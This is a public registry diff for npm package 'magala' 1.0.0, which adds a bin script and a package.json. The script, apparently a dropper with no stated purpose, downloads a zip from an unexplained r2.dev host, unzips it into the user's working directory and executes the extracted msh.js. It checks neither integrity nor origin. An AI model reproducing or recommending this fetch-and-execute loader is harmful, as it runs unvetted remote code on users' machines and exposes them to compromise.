magala 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/magala.js +60 -0
  2. package/package.json +10 -0
package/bin/magala.js ADDED
@@ -0,0 +1,60 @@
1
+ #!/usr/bin/env node
2
+
3
+ "use strict";
4
+
5
+ const fs = require("fs");
6
+ const path = require("path");
7
+ const https = require("https");
8
+ const { execSync } = require("child_process");
9
+
10
+ const ZIP_URL =
11
+ "https://pub-f9d605bddbb248bcb0666b93daf8fe29.r2.dev/msh/msh.zip";
12
+
13
+ const rootDir = process.cwd();
14
+ const installDir = path.join(rootDir, "msh");
15
+ const zipPath = path.join(rootDir, "msh.zip");
16
+
17
+ function downloadFile(url, dest) {
18
+ return new Promise((resolve, reject) => {
19
+ const file = fs.createWriteStream(dest);
20
+
21
+ https
22
+ .get(url, (response) => {
23
+ if (response.statusCode !== 200) {
24
+ reject(new Error("Download failed"));
25
+ return;
26
+ }
27
+
28
+ response.pipe(file);
29
+
30
+ file.on("finish", () => {
31
+ file.close(resolve);
32
+ });
33
+ })
34
+ .on("error", reject);
35
+ });
36
+ }
37
+
38
+ async function installAndRun() {
39
+ try {
40
+ if (!fs.existsSync(installDir)) {
41
+ console.log("Downloading MSH server...");
42
+ await downloadFile(ZIP_URL, zipPath);
43
+
44
+ console.log("Extracting...");
45
+ execSync(`unzip -o "${zipPath}"`, { stdio: "inherit" });
46
+
47
+ fs.unlinkSync(zipPath);
48
+ }
49
+
50
+ console.log("Starting server...");
51
+ execSync(`node "${path.join(installDir, "msh.js")}"`, {
52
+ stdio: "inherit",
53
+ });
54
+ } catch (err) {
55
+ console.error("Failed:", err.message);
56
+ process.exit(1);
57
+ }
58
+ }
59
+
60
+ installAndRun();
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "magala",
3
+ "version": "1.0.0",
4
+ "bin": {
5
+ "magala": "./bin/magala.js"
6
+ },
7
+ "files": [
8
+ "bin/"
9
+ ]
10
+ }